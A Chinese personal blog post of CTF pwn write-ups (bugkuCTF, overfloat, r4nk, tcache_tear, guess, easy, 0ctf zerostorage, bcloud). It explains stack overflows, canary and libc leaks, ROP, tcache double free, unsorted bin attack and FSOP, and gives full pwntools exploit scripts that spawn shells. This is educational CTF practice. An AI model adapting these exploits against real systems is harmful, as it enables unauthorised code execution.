ZoE

个人站

Pwn的挖坑填坑之旅


六月份刷题

六月Pwn刷题

bugkuCTF Pwn

Pwn1

nc上去直接cat flag

Pwn2

栈溢出,直接getshell函数

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#p = process('./pwn2')
p = remote('114.116.54.89',10003)
ret_addr = 0x400751
payload = 'a'*(0x30+8)+p64(ret_addr)
p.sendline(payload)
p.interactive()

pwn3–read_note

这个题目也是栈溢出

栈溢出漏洞,但是开了canarypie,所以我们先要利用puts函数泄漏canaryelf_base,和libc_base,然后ret到system('/bin/sh\x00')

在泄露canary的时候我们可以利用如果输入字节数不是0x270可以重新输入一次来绕过返回时检查canary。成功泄露canary之后我们就可以泄露返回地址,然后一样通过第二次写入覆盖返回地址,第三次重写泄露libc,最后返回到system来getshell。

详细脚本如下:

from pwn import *
 
context.log_level = 'debug'
 
p = process('./read_note')
 
#p = remote('114.116.54.89',10000)
#leak canary
p.recvuntil('path:\n')
p.sendline('flag')
p.recvuntil(' len:\n')
p.sendline(str(0x300))
p.recvuntil('note:\n')
p.send('a'*0x259)
p.recvuntil('a'*0x259)
canary = u64(p.recv(7).rjust(8,'\x00'))
ebp = u64(p.recv(6).ljust(8,'\x00'))
log.success('canary : 0x%x'%canary)
log.success('ebp : 0x%x'%ebp)
p.recvuntil('s 624)\n')
p.send('a'*0x258 + p64(canary) + p64(ebp) + '\x20' )
 
#leak elf_base
p.recvuntil('path:\n')
p.sendline('flag')
p.recvuntil(' len:\n')
p.sendline(str(0x300))
p.recvuntil('note:\n')
p.send('a'*0x268)
p.recvuntil('a'*0x268)
elf_base = u64(p.recv(6).ljust(8,'\x00')) - 0xd2e
log.success('elf_base : 0x%x'%elf_base)
p.recvuntil('s 624)\n')
p.send('a'*0x258 + p64(canary) + p64(ebp) + '\x20' )
 
# #leak libc
p.recvuntil('path:\n')
p.sendline('flag')
p.recvuntil(' len:\n')
p.sendline(str(0x300))
p.recvuntil('note:\n')
p.send('a'*0x288)
p.recvuntil('a'*0x288)
libc_base = u64(p.recv(6).ljust(8,'\x00')) - 0x20830
log.success('libc_base : 0x%x'%libc_base)
offset_system = 0x0000000000045390
offset_str_bin_sh = 0x18cd57
system_addr = libc_base + offset_system
binsh_addr = libc_base + offset_str_bin_sh
pop_ret = elf_base + 0xe03
p.recvuntil('s 624)\n')
payload = 'a'*0x258 + p64(canary) + p64(ebp) + p64(elf_base+0xd20)
p.send(payload)
 
# #ret2system
p.recvuntil('path:\n')
p.sendline('flag')
p.recvuntil(' len:\n')
p.sendline(str(0x300))
p.recvuntil('note:\n')
p.send('a'*0x258 + p64(canary) + p64(ebp) + p64(pop_ret) + p64(binsh_addr) + p64(system_addr) )
#gdb.attach(p)
p.recvuntil('s 624)\n')
payload = 'a'
p.send(payload)

p.interactive()

pwn4

栈溢出非常少,这道题学到了栈溢出getshell还可以system('$0')可以getshell

关于getshell的一些参考:

  • https://note.t4x.org/system/shell-special-variables/
  • https://blog.csdn.net/cws1214/article/details/21959529
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char s; // [rsp+0h] [rbp-10h]

  memset(&s, 0, 0x10uLL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  puts("Come on,try to pwn me");
  read(0, &s, 0x30uLL);
  puts("So~sad,you are fail");
  return 0LL;
}

直接找$0

详细脚本如下:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')

elf=ELF('./pwn4')
code_addr = 0x60111f
p = remote("114.116.54.89",10004)
system_plt = elf.symbols['system']
pop_rdi_ret = 0x00000000004007d3
payload = 'a'*0x18+p64(pop_rdi_ret)+p64(code_addr)+p64(system_plt)
p.sendline(payload)
p.interactive()

pwn5

这道题也是一个栈溢出,但是需要满足一些子串的条件才能让他正常返回,不然就直接exit出去了,满足的子串条件自己调进去看是什么就拼上去就好了,注意小端序就行。思路就是格式化字符串泄露libc,然后直接覆盖返回地址为one_gadget,再满足正常返回的条件,然后就ok了

下面是详细脚本:


from pwn import *
 
context.log_level = 'debug'
 
p = process('./human')
elf = ELF('./human')
p = remote("114.116.54.89",10005)
payload = ".%11$p."
pause()
p.sendline(payload)
p.recvuntil(".")
leak = int(p.recvuntil(".",drop = True),16)
libc_base = leak - 0x20830
log.success('leak : 0x%x'%leak)
log.success('libc_base : 0x%x'%libc_base)
one_gadget = libc_base + 0x45216
payload = "\xe9\xb8\xbd\xe5\xad\x90" + "\xe7\x9c\x9f\xe9\xa6\x99"
payload = payload.ljust(0x20,"A") 
payload += p64(0) + p64(one_gadget)
p.sendline(payload)
 
p.interactive()

DigAips W8

挂起题目:socat tcp-l:端口号,fork exec:程序位置 这里DigAips的题目都是网上收集的题目

overfloat

overfloat我们可以猜测它与浮点数有关。如果我们仔细观察,我们可以看到0x3f800000代表浮动1.0

In [5]: binascii.hexlify(struct.pack('f', 1.0))
Out[5]: '0000803f'

我们可以将4字节数组转换为浮点数,然后溢出数组

def byte_to_float(data):
    if len(data) != 4:
        log.error("Length of data should be 4")
        sys.exit(0)
    return str(struct.unpack('f', bytes(data))[0])

并溢出数组

for i in range(0xe):
    tosend = byte_to_float("A"*4)
    p.sendline(tosend)

# trigger return to main
# BOF at end of main -> ret
p.sendline("done")

p.interactive()

然后我们可以定义一个写入八字节的函数 最后利用方式就是利用gadget把puts的真实地址泄露出来,然后直接得到libc的基地址,最后直接返回到one_gadget就行了

详细脚本如下:

from pwn import *
import struct
import sys
import binascii

context(os='linux',arch='amd64',aslr = 'False')#,log_level='debug')
local = 0
#log_level='debug'

if local:
	p = process("./overfloat")#,env={'LD_PRELOAD':'./libc_x64.so.6'})
	elf = ELF("./overfloat")
	libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
	#p = remote('192.168.210.11',11006)
	p = remote('47.92.28.22',30521)
	elf = ELF("./overfloat")
	libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')



def byte_to_float(data):
    if len(data) != 4:
        log.error("Length of data should be 4")
        sys.exit(0)
    return str(struct.unpack('f', bytes(data))[0])

def write_8_bytes(data):
    tosend = byte_to_float(data[:4])
    p.sendline(tosend)
    tosend = byte_to_float(data[4:])
    p.sendline(tosend)

p.recvuntil("LIKE TO GO?")
p.recvline()
for i in range(0xe):
    tosend = byte_to_float(chr(i)*4)
    p.sendline(tosend)

pop_rdi = 0x0000000000400a83 #: pop rdi; ret;

# ret
write_8_bytes(p64(pop_rdi))
# GOT
write_8_bytes(p64(elf.got["puts"]))
# call puts
write_8_bytes(p64(elf.symbols["puts"]))

# jump to beginning
start = 0x400993
write_8_bytes(p64(start))

p.sendline("done")
p.recvuntil("VOYAGE!")
p.recvline() # empty line
res = p.recvline()[:-1]
print("puts @  " + hex(u64(res.ljust(8, "\x00"))))
puts_address = u64(res.ljust(8, "\x00"))

libc_base = puts_address - libc.symbols["puts"]
print("libc @  " + hex(libc_base))
pause()
if debug:
    one_gagdet = libc_base + 0x4f2c5
else:
    one_gagdet = libc_base + 0x4f2c5

# exploit a second time
p.recvuntil("LIKE TO GO?")
p.recvline()
for i in range(0xe):
    tosend = byte_to_float(chr(i)*4)
    p.sendline(tosend)

# one gadget
write_8_bytes(p64(one_gagdet))
p.sendline("done")

# trigger return to main
# BOF at end of main -> ret

p.interactive()

r4nk

这道题是一个关于电影排名的程序, 通过rank可以修改栈上的内容,这样我们可以改一个打印函数的偏移值,进而进行泄露。

__int64 __fastcall Rank(__int64 a1)
{
  __int64 v1; // rbx
  __int64 result; // rax

  write(1, "\nt1tl3> ", 9uLL);
  v1 = (signed int)my_read();
  write(1, "r4nk> ", 7uLL);
  result = (signed int)my_read();
 修改stack content-> *(_QWORD *)(a1 + 8 * v1) = (signed int)result;// a1 + 8*17
  return result;
}

所以我们可以利用这个特点来写入特殊的东西泄露libc地址,然后再show的时候,就会去读取特定地址的内容,从而泄露libc,也就是说我们就有了任意地址读的操作

addr_list = 0x602080 # movie list
addr_buf = 0x602100 # buf
rank(0, (addr_buf - addr_list) // 8 + 1) # rank(0, 0x11)

泄露完libc之后,我们可以先修改栈上返回地址__libc_start_main+2310x0000000000400980(pop rsp; pop r13;ret;) 找一些有趣的gadget ,比如pop rsp,在返回之后的add rsp 8; 控制了rsp为0x602100,同时写入0x602100+8地方为one_gadget,则成功返回到one_gadget进行getshell

这是一个有趣的栈迁移,通过改写栈上main函数的返回地址来进行栈迁移。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
import time
import random

local = 1
if local:
	p = process("./r4nk")#,env={'LD_PRELOAD':'./libc_x64.so.6'})
	elf = ELF("./r4nk")
	libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
	#p = remote('192.168.210.11',11006)
	p = remote('47.92.28.22',30522)
	elf = ELF("./r4nk")
	libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')


def rank(t,rr):
  p.recvuntil("> ")
  p.sendline("2")
  p.recvuntil("> ")
  p.sendline(str(t))
  p.recvuntil("> ")
  p.sendline(str(rr))

def show(start,end):
  pass
  p.recvuntil(start)
  data = p.recvuntil(end)[:-len(end)]
  return data

if __name__ == '__main__':
  rank(0,0x11)
  p.recvuntil("> ")
  p.sendline("1"+"\x00"*7 + p64(0x000602030))
  p.recvuntil("0. ")
  libc = u64(p.recv(6).ljust(8,"\x00")) - 0x110070
  print("libc = {}".format(hex(libc)))
  magic = libc + 0x4f322
  pop_rsp_1 = 0x0000000000400980
  pause()
  rank(19,pop_rsp_1) # pop rsp; pop r13;ret;
  rank(20,0x602100) # nptr addr (myread output addr) 0x602108 -> one_gadget

  p.recvuntil("> ")
  p.sendline("3" + "\x00"*7 + p64(magic))

  p.interactive()

方法二,泄露libc后,使用使用ret2csu来调用write函数进行getshell 参考链接:https://ptr-yudai.hatenablog.com/entry/2019/06/03/113943#pwnable-494pts-rank

tcache_tear

这是一道tcache的题目,然后漏洞点在于free之后没有清零导致的double free但是限制了free次数为7次,但是我们可以在name输入的时候设置fake_chunkfree得到libc,然后show出来就可以泄露libc地址,最后在利用double free来覆盖 free_hook就完事了。

其中需要注意的是,要free掉fake块的时候需要提前在对应块的下一块的位置set好改pre的inuse位为1,否则会报double free or corruption (!prev) 具体脚本如下:

from pwn import *

def add(size,note):
    p.sendlineafter(":","1")
    p.sendlineafter(":",str(size))
    p.sendafter(":",note)

def delete():
    p.sendlineafter(":","2")



#context.log_level="debug"
p=process("./tcache_tear")#,env = {'LD_PRELOAD' : './libc.so'})
#p=remote("chall.pwnable.tw",10207)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
p.sendlineafter("Name:","name_ZoE")

# 602060
#leak libc

# passby double free or corruption (!prev)
add(0x70,"ZoE\n")
delete()
delete()
add(0x70,p64(0x602550))  # fd = 0x602550
add(0x70,"ZoE\n")
add(0x70,p64(0)+p64(0x21)+p64(0)*2+p64(0)+p64(0x21)) # 0x602550's content
# passby double free or corruption (!prev) 0x21 -> set pre inuse flag = 1

pause()
add(0x60,"ZoE\n")
delete() # double free again
delete()
add(0x60,p64(0x602050)) # fd = 0x602550 double free to name's addr
add(0x60,"ZoE\n")

add(0x60,p64(0)+p64(0x501)+p64(0)*5+p64(0x602060)) # big fake heap chunk *(0x602088(ptr)) = 0x602060 -> free ptr
delete()

p.sendlineafter(":","3")
p.recvuntil("Name :")
libc_addr=u64(p.recv(8))-0x3ebca0
log.info(hex(libc_addr))

#write free_hook
free_hook=libc_addr+libc.symbols['__free_hook']
system_addr=libc_addr+libc.symbols['system']
add(0x40,"ZoE\n")
delete()
delete()
add(0x40,p64(free_hook))
add(0x40,"ZoE\n")
add(0x40,p64(system_addr))

#get_shell
add(0x18,"/bin/sh\x00")
delete()
p.interactive()

guess

网鼎杯的一道guess,猜flag的一道题,只能fork三次。开启了Cannary,采用stack smash来进行信息泄露绕过cannary。同理我们也可以用一样的方法泄露三次,可以按照如下顺序泄露:首先通过got表来泄露libc的基址,接着利用libc中的environ变量来泄露栈的地址,最后通过固定的偏移来泄露栈上存放的flag。

# set follow-fork-mod child
from pwn import *
context(arch='amd64', os='linux', endian='little')
#context.log_level='debug'

p = process('./guess')
elf = ELF('./guess')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
print p.recvuntil('This is GUESS FLAG CHALLENGE!')
print p.recvuntil('Please type your guessing flag')
# here is offset to argv[0]
offset = 0x40+0x8*3+(0x7fff42181a88-0x7fff421819b8)
# leak libc base
payload = 'a'*offset+p64(0x602048)
p.sendline(payload)
print p.recvuntil('*** stack smashing detected ***: ')
# 0x7fb8571c1740
libc_start_main = u64(p.recvuntil(' ')[:-1].ljust(8,'\x00'))
libc_base = libc_start_main-libc.symbols['__libc_start_main']
# using environ to leak stack base addr
print "libc_base = " + str(hex(libc_base))
stack_addr_ptr = libc_base+libc.symbols['environ']

print "stack_addr_ptr = " + str(hex(stack_addr_ptr))
print p.recvuntil('Please type your guessing flag')
payload = 'a'*offset+p64(stack_addr_ptr)
pause()
p.sendline(payload)
print p.recvuntil('*** stack smashing detected ***: ')

# 0x7fffe109fde8
stack_addr = u64(p.recvuntil(' ')[:-1].ljust(8,'\x00'))
print "stack_addr = " + str(hex(stack_addr))
# calc flag addr by stack_base-flag_offset
flag_offset = 0x7fffe109fde8-0x7fffe109fc80
flag_addr = stack_addr - flag_offset

print p.recvuntil('Please type your guessing flag')
payload = 'a'*offset+p64(flag_addr)
p.sendline(payload)

print p.recv()
p.interactive()

easy

SWPUCTF原题 这个里面有一个格式化字符串,一个栈溢出,先用格式化泄漏出 libc 基地址和 heap 地址。通过 heap 获得目标地址。 然后是 motto 处,先是输入长度时如果长度为负那么会对长度进行求补,-9223372036854775808(-0x8000000000000000)补数是本身,这样就可以实现输入一串很长的字符串造成栈溢出了。

__int64
long int	8byte(qword)	正: 0~0x7fffffffffffffff 
负: 0x8000000000000000~0xffffffffffffffff
而-9223372036854775808(-0x8000000000000000)补数是本身
这样子就能绕过第二个if

如果是其他负数,比如:

-9223372036854 ->0xfffff79c842fa50a
取补码后为:0x000008637bd05af6
但是第二个if又会把他写死1024大小
后面有异常检查,简单分析一下,关于C++的异常处理
# 会在__cxa_throw@plt退出
# 崩掉的地方调试信息如下:
=> 0x400e71:	call   0x400a30 <__cxa_throw@plt>
   0x400e76:	mov    rax,QWORD PTR [rbp-0x418]
   0x400e7d:	mov    rcx,QWORD PTR [rbp-0x8]
   0x400e81:	xor    rcx,QWORD PTR fs:0x28
   0x400e8a:	je     0x400e91
Guessed arguments:
arg[0]: 0x2142ce0 --> 0x40100e ("The format of motto is error!")
arg[1]: 0x6020e0 --> 0x7f898698c4f8 (:__pointer_type_info+16>:	0x00007f89866a6160)
arg[2]: 0x0 
==================================
跟进去
=> 0x7f1b96a4d907 <__cxa_throw+87>:	call   0x7f1b96a47f60 <_Unwind_RaiseException@plt>
   0x7f1b96a4d90c <__cxa_throw+92>:	mov    rdi,rbx
   0x7f1b96a4d90f <__cxa_throw+95>:	call   0x7f1b96a46dc0 <__cxa_begin_catch@plt>
   0x7f1b96a4d914 <__cxa_throw+100>:	call   0x7f1b96a49ac0 <std::terminate()@plt>
   0x7f1b96a4d919:	nop    DWORD PTR [rax+0x0]
Guessed arguments:
arg[0]: 0xdf7cc0 --> 0x474e5543432b2b00 ('')

上面的异常主要是c++的异常处理,详细解读可以看:https://www.cnblogs.com/catch/p/3604516.html 最后这里还要绕过 Canary,我们这里用c++异常处理来绕过,直接触发异常,unwind 时是不检测 Canary 的,这样就绕过了Canary 了。 unwind的是这一段,如图

payload  = "aaaaaaaa"
payload += p64(one_gadget)
payload  = payload.ljust(0x410, '\x00')
p.sendline(payload + p64(pivote_addr) + p64(unwind_addr))

getshellpayload如上,但是注意的是strdup会把这里的这些内容放到heap上,而heap上就有了one_gadget,而pivote_addrheap上的地址

from pwn import *

p = process("./easy")
#p = remote("118.25.216.151", 10001)
elf = ELF("./easy", checksec=False)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)

puts_got    = elf.got["puts"]
puts_plt    = elf.plt["puts"]
read_plt    = elf.plt["read"]
read_addr   = 0x400BF5

rdi_ret     = 0x400fa3
rsi_r15_ret = 0x400fa1

# context.log_level = "debug"

# -------- leak info --------
p.recvuntil("please input name:\n")
p.send("%p/%p/%p/%p/%p/%p/!%p/\n")

p.recvuntil("/")
libc_base = int(p.recvuntil("/")[:-1], 16) - 0x3C6780
p.recvuntil("/!")
heap_base = int(p.recvuntil("/")[:-1], 16)
info("libc base: " + hex(libc_base))
info("heap base: " + hex(heap_base))

# -------- exploit --------
one_gadget = libc_base + 0x45216
info("one_gadget: " + hex(one_gadget))
pivote_addr = heap_base + 0x20
info("pivote addr: " + hex(pivote_addr))
unwind_addr = 0x400EC5

pause()
p.recvuntil("please input size of motto:\n")
p.sendline("-9223372036854775808")
p.recvuntil("please input motto:\n")

payload  = "aaaaaaaa"
payload += p64(one_gadget)
payload  = payload.ljust(0x410, '\x00')
p.sendline(payload + p64(pivote_addr) + p64(unwind_addr))

p.interactive()

法二

其实不用unwind绕cannary这个神奇的操作,直接格式化字符串泄露就好了嘛,乖乖的。。哈哈哈哈 其他的栈溢出操作,同理,接下来就是常规操作了(泄露libc,返回到system或者one_gadet都ok) 正常ret2 system(“/bin/sh”)

详细脚本如下:

from pwn import *
context.log_level = "debug"
p = process("./easy")
# p = remote("118.25.216.151" , 10001)
elf = ELF("./easy", checksec=False)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)

# leak canary
payload = "%15$p" 
p.recvuntil("name:\n")
p.sendline(payload)
p.recvuntil("Hello ")
canary = int(p.recvuntil("please" , drop = True) , 16)

# 0x8000000000000000
int64_max = -9223372036854775808
p.recvuntil("motto:\n")
p.sendline(str(int64_max))

pop_rdi = 0x0000000000400fa3
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]

payload = "a" * (0x410-8) + p64(canary) + "a" * 8
payload += p64(pop_rdi) + p64(puts_got) + p64(puts_plt) 
payload += p64(0x400DA0)

p.recvuntil(" motto:\n")
p.sendline(payload)
# leak libc
puts_addr = u64(p.recvuntil("\n" , drop = True).ljust(8 , "\x00"))
print(hex(puts_addr))
libc_base = puts_addr - libc.sym["puts"]
system = libc_base + libc.sym["system"]
str_bin_sh = libc_base + libc.search("/bin/sh").next()

int64_max = -9223372036854775808
p.recvuntil("motto:\n")
p.sendline(str(int64_max))

pop_rdi = 0x0000000000400fa3
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
# getshell
payload = "a" * (0x410-8) + p64(canary) + "a" * 8
payload += p64(pop_rdi) + p64(str_bin_sh) + p64(system) 
pause()
p.recvuntil(" motto:\n")
p.sendline(payload)

p.interactive()

0ctf2016 Zerostorage

用malloc只分配空间不初始化,也就是依然保留着这段内存里的数据, 而calloc则进行了初始化,calloc分配的空间全部初始化为0,这样就避免了可能的一些数据错误 realloc则对malloc申请的内存进行大小的调整. 三则区别:

区别:

(1)函数malloc不能初始化所分配的内存空间,而函数calloc能.如果由malloc()函数分配的内存空间原来没有被使用过,则其中的每一位可能都是0;反之, 如果这部分内存曾经被分配过,则其中可能遗留有各种各样的数据.也就是说,使用malloc()函数的程序开始时(内存空间还没有被重新分配)能正常进行,但经过一段时间(内存空间还已经被重新分配)可能会出现问题. (2)函数calloc() 会将所分配的内存空间中的每一位都初始化为零,也就是说,如果你是为字符类型或整数类型的元素分配内存,那么这些元素将保证会被初始化为0;如果你是为指针类型的元素分配内存,那么这些元素通常会被初始化为空指针;如果你为实型数据分配内存,则这些元素会被初始化为浮点型的零. (3)函数malloc向系统申请分配指定size个字节的内存空间.返回类型是 void类型.void表示未确定类型的指针.C,C++规定,void 类型可以强制转换为任何其它类型的指针. (4)realloc可以对给定的指针所指的空间进行扩大或者缩小,无论是扩张或是缩小,原有内存的中内容将保持不变.当然,对于缩小,则被缩小的那一部分的内容会丢失.realloc并不保证调整后的内存空间和原来的内存空间保持同一内存地址.相反,realloc返回的指针很可能指向一个新的地址. (5)realloc是从堆上分配内存的.当扩大一块内存空间时,realloc()试图直接从堆上现存的数据后面的那些字节中获得附加的字节,如果能够满足,自然天下太平;如果数据后面的字节不够,问题就出来了,那么就使用堆上第一个有足够大小的自由块,现存的数据然后就被拷贝至新的位置,而老块则放回到堆上.这句话传递的一个重要的信息就是数据可能被移动.

unsortedbin attack

目的,把某一个地址写为特点值(一个libc地址)

victim = unsorted_chunks(av)->bk=p
bck = victim->bk=p->bk = target addr-16
unsorted_chunks(av)->bk = bck=target addr-16
bck->fd = *(target addr -16+16) = unsorted_chunks(av);

分析

漏洞点主要带merge那里,首先他遍历list找到一个空的序号来放合并后chunk的信息,然后在合并fromid和toid后把chunk_struct放到一开始找到的那个序号里,然后realloc了toid,size为两个chunk大小相加,把fromid删除掉,并把fromid和toid的内容清除掉free掉。这里主要是没有判断合并的两个chunk的序号是否是一样的。也就是说合并两个一样id的时候,先realloc了那个指针,然后又把那个指针free掉了,但是又存进了list里面,导致形成UAF。

利用思路

参考:https://www.anquanke.com/post/id/178418 泄露地址:先分配一些chunk,删除掉一个(不能与topchunk相邻),先合并两个一样chunk,因为realloc大小没有超过原来堆块的大小,因此不对内容做任何处理,然后我们就可以的得到libc地址和heap地址了。 利用方法: Unsorted bin attack(FIFO) 先進先出 Fast bin unlink attack(LIFO) 后进先出 fastbin attack:

旧版思路

https://www.w0lfzhang.com/2017/03/17/2016-0CTF-zerostorage/ 这个主要是泄露libc后可以根据libc地址找到程序的基地址,是根据旧版linux内核来说的,现在已经不适用了,找到程序基地址后,泄露key,就可以fastbin attack控制完bss中的list直接改free_hook

现在版本思路

但是在现有的版本中,无法通过libc地址得到程序的基址,该如何进一步利用拿到shell?接下来就是标题中新解所包含的部分了:据之前写的文章堆中global_max_fast相关利用,我们可以将目标瞄准为将global_max_fast改写后,复写_IO_list_all指针用io file来进行攻击。

但是_IO_list_all指针地址到main_arena中fastbin数组的地址的距离转换成对应的堆的size达到了0x1410,题目中限制了堆申请的大小只能为0x80到0x1000,所以似乎无法控制0x1410大小的堆块。

在把程序再次审查以后,发现解决方法还是在merge函数中,merge函数把两个entry合并,但是并没有对合并后的堆块的大小进行检查,使得其可以超过0x1000,最终达到任意堆块大小申请的目的。

这样问题就简单了,merge出相应大小的堆块并将其内容填写成伪造的io file结构体,free该堆块至_IO_list_all指针中,最终触发FSOP来get shell。

FSOP

FSOP 是 File Stream Oriented Programming 的缩写,根据前面对 FILE 的介绍得知进程内所有的_IO_FILE 结构会使用_chain 域相互连接形成一个链表,这个链表的头部由_IO_list_all 维护。

FSOP 的核心思想就是劫持_IO_list_all 的值来伪造链表和其中的_IO_FILE 项,但是单纯的伪造只是构造了数据还需要某种方法进行触发。FSOP 选择的触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow。

详细脚本

#!/usr/bin/env python

from pwn import *

#context.log_level = "debug"

elf = "./zerostorage"
#libc = ELF("./libc.so.6")

unsorted_bin_off = 0x3c4b78 # leak libc
global_max_fast_off = 0x3c67f8
cache_size_off = 0x3c41f0
io_stdin_off = 0x3c49b4
system_off = 0x45390
io_stdout_off = 0x3c5620
io_stdfil_1_lock_off = 0x3c6780
io_file_jumps_off= 0x3c36e0
nl_global_locale_off = 0x3c5420
nl_clctype_class_off = 0x1775e0

sysmem = 0x21000
stdout = 0xfbad2887

p = process(elf)
#p = remote("172.16.30.131", 5678)

def insert(s):
    p.recvuntil("Your choice: ")
    p.sendline("1")
    p.recvuntil("Length of new entry: ")
    p.sendline(str(len(s)))
    p.recvuntil("Enter your data: ")
    p.send(s)

def update(idx, s):
    p.recvuntil("Your choice: ")
    p.sendline("2")
    p.recvuntil("Entry ID: ")
    p.sendline(str(idx))
    p.recvuntil("Length of entry: ")
    p.sendline(str(len(s)))
    p.recvuntil("Enter your data: ")
    p.send(s)

def merge(idx1, idx2):
    p.recvuntil("Your choice: ")
    p.sendline("3")
    p.recvuntil("Merge from Entry ID: ")
    p.sendline(str(idx1))
    p.recvuntil("Merge to Entry ID: ")
    p.sendline(str(idx2))

def delete(idx):
    p.recvuntil("Your choice: ")
    p.sendline("4")
    p.recvuntil("Entry ID: ")
    p.sendline(str(idx))

def view(idx):
    p.recvuntil("Your choice: ")
    p.sendline("5")
    p.recvuntil("Entry ID: ")
    p.sendline(str(idx))
    p.recvuntil("Entry No."+str(idx)+":\n")
'''
bb 0x10CC
bb 0x127D
bb 0x14EB
bb 0x15F6

'''

# leak libc

insert(p8(0)*0x8)#0
insert(p8(1)*0x8)#1
insert(p8(2)*0x8)#2
pause()
insert(p8(3)*0x8)#3
delete(2) # not the chunk of the topchunk's pre that is ok.
merge(0, 0)
view(2)

heap_base = u64(p.recv(8))-0x120
unsorted_bin_addr = u64(p.recv(8))
libc_base = unsorted_bin_addr-unsorted_bin_off
log.info("heap_base: "+hex(heap_base))
log.info("libc_base: "+hex(libc_base))

top_chunk_off = 0x11580
top_chunk_addr = heap_base+top_chunk_off
log.info("top_chunk: "+hex(top_chunk_addr))

io_stdout_addr = libc_base+io_stdout_off
io_lock_addr = libc_base+io_stdfil_1_lock_off
io_file_jump_addr = libc_base+io_file_jumps_off
nl_clctype_class_addr = libc_base+nl_clctype_class_off

system_addr = libc_base+system_off

# fastbin attack

insert(p8(0)*0x10)
insert(p8(0)*0x10)

insert(p8(0)*0x1000)
insert(p8(0)*0x10)
merge(6, 6)
insert(p8(0)*0x1000)
merge(5, 6)
insert(p8(0)*0x1000)
merge(5, 8)
insert(p8(0)*0xff0)
merge(5, 6)

insert(p8(0)*0x1000)
insert(p8(0)*0x10)

insert(p8(0)*0x1000)
insert(p8(0)*0x1000)
merge(9, 10)

insert(p8(0)*0x1000)
insert(p8(0)*0x10)

insert(p8(0)*0x1000)
insert(p8(0)*0xff0)
merge(12, 13)

insert(p8(0)*0x1000)
insert(p8(0)*0x10)

insert(p8(0)*0x1000)
insert(p8(0)*0x1000)
merge(15, 16)

insert(p8(0)*0x1000)
insert(p8(0)*0x10)

payload = p8(0)*0x1b0
payload += p64(sysmem)
payload += p8(0)*(0x2a0-0x8-len(payload))
payload += p64(nl_clctype_class_addr)
payload += p8(0)*(0x438-0x8-len(payload))
payload += p64(stdout)
payload += p8(0)*(0x4a8-0x8-len(payload))
payload += p32(0x1)
payload += p8(0)*(0x4c0-0x8-len(payload))
payload += p64(io_lock_addr)
payload += p8(0)*(0x510-0x8-len(payload))
payload += p64(io_file_jump_addr)
payload += p8(0)*(0x520-0x8-len(payload))
payload += p64(io_stdout_addr)
payload += p8(0)*(0x1000-len(payload))
insert(payload)

payload = p8(0)*(0x910-0x8)
payload += p64(system_addr)
payload += p8(0)*(0x980-0x8-len(payload))
payload += p64(top_chunk_addr)+p64(0)
payload += p64(unsorted_bin_addr)*2
payload += p8(0)*(0xff0-len(payload))
insert(payload)
merge(18, 19)

insert(p8(0)*0x1000)
insert("/bin/sh")

##-- unsorted_bin_attack

delete(4)

payload = p64(unsorted_bin_addr)
payload += p64(libc_base+global_max_fast_off-0x10)
update(2, payload)

insert(p8(0)*0x10)
##--

delete(8)
update(7, p64(libc_base+cache_size_off)+p64(0))

merge(11, 14)
merge(17, 20)

p.sendline("2")
p.sendline("19")
p.sendline("256")

p.interactive()

BCTF 2016 bcloud

下面代码中第二个strcpy把后面v2也复制进去了,所以可以泄露堆地址

unsigned int get_name()
{
  char s; // [esp+1Ch] [ebp-5Ch]
  char *v2; // [esp+5Ch] [ebp-1Ch]
  unsigned int v3; // [esp+6Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  memset(&s, 0, 0x50u);
  puts("Input your name:");
  myraed((int)&s, 64, 10);
  v2 = (char *)malloc(0x40u);
  name_ptr = (int)v2;
  strcpy(v2, &s); # leak v2
  welcome((int)v2);
  return __readgsdword(0x14u) ^ v3;
}

然后可以发现在写host和org的时候调用的strcpy也有问题,代码如下:

unsigned int get_info()
{
  char s; // [esp+1Ch] [ebp-9Ch]
  char *v2; // [esp+5Ch] [ebp-5Ch]
  int v3; // [esp+60h] [ebp-58h]
  char *v4; // [esp+A4h] [ebp-14h]
  unsigned int v5; // [esp+ACh] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  memset(&s, 0, 0x90u);
  puts("Org:");
  myraed((int)&s, 0x40, 10);
  puts("Host:");
  myraed((int)&v3, 0x40, 10);
  v4 = (char *)malloc(0x40u);
  v2 = (char *)malloc(0x40u);
  org_ptr = (int)v2;
  host_ptr = (int)v4;
  strcpy(v4, (const char *)&v3);
  strcpy(v2, &s);                               // leak v2
  puts("OKay! Enjoy:)");
  return __readgsdword(0x14u) ^ v5;
}

详细查看栈排布可以发现,当复制第二个s的时候,因为strcpy是复制到\x00才停止复制,所以,他会一直把v2、v3的内容都往堆里复制,导致可以把topchunk给改了。然后就很容易控制到bss中的list,然后就容易做了。

另外自己定义的read函数里面有off by null漏洞(但是malloc的时候加了4)

int __cdecl sub_804868D(int a1, int a2, char a3)
{
  char buf; // [esp+1Bh] [ebp-Dh]
  int i; // [esp+1Ch] [ebp-Ch]

  for ( i = 0; i < a2; ++i )
  {
    if ( read(0, &buf, 1u) <= 0 )
      exit(-1);
    if ( buf == a3 )
      break;
    *(_BYTE *)(a1 + i) = buf;
  }
  *(_BYTE *)(i + a1) = 0;                       // offbynullbyte
  return i;
}

详细脚本如下:

#!/usr/bin/env python

from pwn import *

#context.log_level = "debug"

elf = "./bcloud"

note_array = 0x804b120 # chunk_list
note_len_array = 0x804b0a0 # size_list
puts_plt = 0x8048520
atoi_got = 0x804b03c
free_got = 0x804b014
atoi_off = 0x2d250
system_off = 0x3ada0

p = process(elf)

